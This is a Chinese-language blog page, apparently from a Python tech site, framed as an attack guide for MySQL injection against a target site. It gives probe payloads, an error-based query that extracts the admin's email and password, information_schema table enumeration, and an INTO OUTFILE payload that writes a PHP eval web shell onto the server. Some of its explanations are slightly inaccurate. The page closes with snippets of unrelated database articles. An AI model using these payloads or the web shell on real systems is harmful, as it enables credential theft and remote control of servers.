MySQL注入中导出字段内容的研究通过注入导出WebShell

MySQL注入是指攻击者通过可写的输入源突破Web应用程序,从而访问或修改与该应用程序或其数据库相关的数据。其中,导出字段内容是一种常用的攻击方式,攻击者可以利用注入漏洞获取站点的敏感信息。以下是使用注入导出字段内容的研究及攻略:

攻略概述

  1. 找到目标站点;
  2. 判断目标站点是否存在注入点;
  3. 获取目标站点注入点所在位置;
  4. 利用注入点获取站点数据库信息;
  5. 通过注入获取站点敏感信息;
  6. 导出字段内容;
  7. 注入导出WebShell。

判断目标站点是否存在注入点

在对目标站点进行注入攻击之前,需要先确定该站点是否存在注入点。可以使用BurpSuit、SQLMAP等工具进行判断。

常用判断方式

报错注入

通过输入特定的SQL语句触发目标站点返回数据库错误信息。

' and 1=1 and '1'='2

如果目标站点返回错误信息,则说明存在注入点。

盲注

通过在SQL注入点尝试不同的payload观察返回结果是否变化来推断是否存在SQL注入点。以下为判断是否存在SQL注入点的常用Payload:

and 1=1
and 1=2
and sleep(5)

如果目标站点在执行and sleep(5)的时候等待5秒后才返回结果,则说明存在注入点。

Union注入

在目标站点的注入点中尝试通过Union语句来判断是否存在注入点。以下为判断是否存在注入点的常用Payload:

and 1=2 union select 1,2,3,4
and 1=1 union select 1,2,password,4 from users

如果目标站点在执行第二个Union语句的时候返回了密码信息,则说明存在注入点。

导出字段内容示例

示例1:获取管理员用户信息

假设目标站点存在SQL注入点,而我们想要获取站点管理员用户的信息,可以使用以下Payload:

and (select 1 from (select count(*), concat((select (select (select concat(email,'|||',password) from users where username='admin')) from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a)

解释:

这段代码使用了MySQL查询表中的数据拼接成字符串的方法,在查询admin用户的email和password时,将两者使用特定符号“|||”连接起来。其中,floor(rand()*2)是为了随机生成0或1,目的是为了在进行Union注入的时候输出不同的结果,从而判断是否存在注入点。如果输出“|||”连接的字符串,则存在注入点。

示例2:获取站点数据库表

这个示例用于获取站点的数据库表,用到了MySQL的information_schema库。payload:

') union select 1, group_concat(table_name),3,4,5 from information_schema.tables where table_schema='dbname'#

其中dbname为站点的数据库名,group_concat()函数用于将结果拼接为字符串而不是返回多行结果,从而避免后续的Union注入错误。

导出WebShell

如果在获取站点的敏感信息时成功得到了管理员的账户和密码,我们可以通过导出WebShell来获取站点更多的信息。以下是导出WebShell的示例Payload:

' union select "<?php @eval($_POST[\"password\"])?>",2,3,4 into outfile '/path/to/webshell.php'#

其中,/path/to/webshell.php需要替换成站点的目录。在执行该语句后,会将WebShell代码写入到服务器指定的文件中,然后攻击者就可以通过该WebShell来访问站点的控制台了。

总之,网站开发者需要高度重视SQL注入的安全性,采取一系列的安全措施来尽量减少漏洞的产生。对于攻击者而言,要有充足的攻击前期准备,以及对Web应用程序和SQL注入攻击的深刻理解。

本站文章如无特殊说明,均为本站原创,如若转载,请注明出处:MySQL注入中导出字段内容的研究通过注入导出WebShell - Python技术站

(0)
上一篇 2023年5月22日
下一篇 2023年5月22日

相关文章

  • shell脚本实现数据库表增量同步的流程

    作为网站的作者,我们可以使用 Shell 脚本来实现数据库表增量同步。下面是 Shell 脚本实现数据库表增量同步的流程: 查询源数据表和目标数据表 使用 SQL 语句查询数据库源表和目标表的 schema,获取源表和目标表的字段名和类型。 — 查询源数据表的 schema DESC source_table; — 查询目标数据表的 schema DES…

    database 2023年5月22日
    00
  • 记录服务器rm -rf误删文件的恢复过程

    以下是详细的“记录服务器 rm -rf 误删文件的恢复过程”的攻略: 背景 当我们使用 rm -rf 命令删除文件或目录时,有时会误删一些重要的文件。如果没有备份,那么数据就可能永久丢失。但是,在一些情况下,我们可以通过一些技术手段来找回这些文件。 恢复过程 停止对硬盘的写入 当发现误删文件时,要立即停止对硬盘的写入,避免新数据写入到被误删的文件占用原来的空…

    database 2023年5月21日
    00
  • SQL 变换结果集以实现跨行计算

    SQL 变换结果集以实现跨行计算可以通过使用窗口函数(Window Function)实现。窗口函数可以在对结果集进行聚合之前,为每一行计算一个值。举个例子,如果你想要计算每个销售人员的总销售额,你可以通过窗口函数为每个销售人员的订单计算销售额后再进行总计。 下面分别给出两个实例,展示如何使用窗口函数进行跨行计算。 实例一 假设我们有下面这个订单表: Ord…

    database 2023年3月27日
    00
  • MySQL和HBase的区别

    MySQL和HBase都是常见的数据库管理系统,但是它们有很大的区别。 数据存储方式: MySQL是关系型数据库管理系统(RDBMS),它使用表来存储数据,并且每个表需要事先定义其结构。数据是按行和列组织的,而每行必须有相同数量的列。MySQL使用标准的SQL(结构化查询语言)来管理和查询数据。 HBase是键值存储数据库管理系统,数据按照键值存储。HBas…

    database 2023年3月27日
    00
  • 使用Nodejs 实现一个简单的 Redis客户端(推荐)

    使用Node.js实现一个简单的Redis客户端的步骤如下: 步骤一:安装Redis 首先需要安装Redis,可以下载并安装官方提供的Redis程序,也可以选择安装Redis的Docker镜像,具体请自行查阅资料。 步骤二:安装Redis模块 在Node.js中使用Redis客户端需要使用相应的redis模块,可以使用npm包管理器安装,命令如下: npm …

    database 2023年5月22日
    00
  • sqoop读取postgresql数据库表格导入到hdfs中的实现

    sqoop读取postgresql数据库表格导入到hdfs中的实现 Sqoop是一个开源工具,用于将关系型数据库和数据仓库(例如PostgreSQL)中的数据传输到Hadoop的HDFS(Hadoop分布式文件系统)/ Hive中。Sqoop支持批量导入和导出,支持多种数据源的数据传输。 步骤一:安装sqoop 首先,下载和安装sqoop所需的jar包以及h…

    database 2023年5月18日
    00
  • SNMP4J服务端连接超时问题解决方案

    当使用SNMP4J的服务端(SNMP Agent)时,可能会出现连接超时的问题,导致数据无法传输。以下是解决方案的完整攻略: 问题分析 连接超时通常是由于SNMP4J无法与SNMP Agent建立通信而导致的。问题的原因可能是SNMP4J服务端未能正确地响应请求或SNMP Agent未正确响应SNMP4J请求。 解决方案 以下是解决SNMP4J连接超时问题的…

    database 2023年5月21日
    00
  • SQL 修改表

    下面是SQL 修改表的完整攻略。 先了解修改表的语法 在SQL中,修改表的语法包括:ALTER TABLE 操作类型 操作语句。 操作语句可以是ADD(添加字段)、DROP(删除字段)、MODIFY(修改字段类型)以及其他一些操作。 实例1:添加一个字段 假设我们有一个名为students的表,现在需要添加一个新的字段age,类型为INT。 我们可以使用如下…

    database 2023年3月27日
    00
合作推广
合作推广
分享本页
返回顶部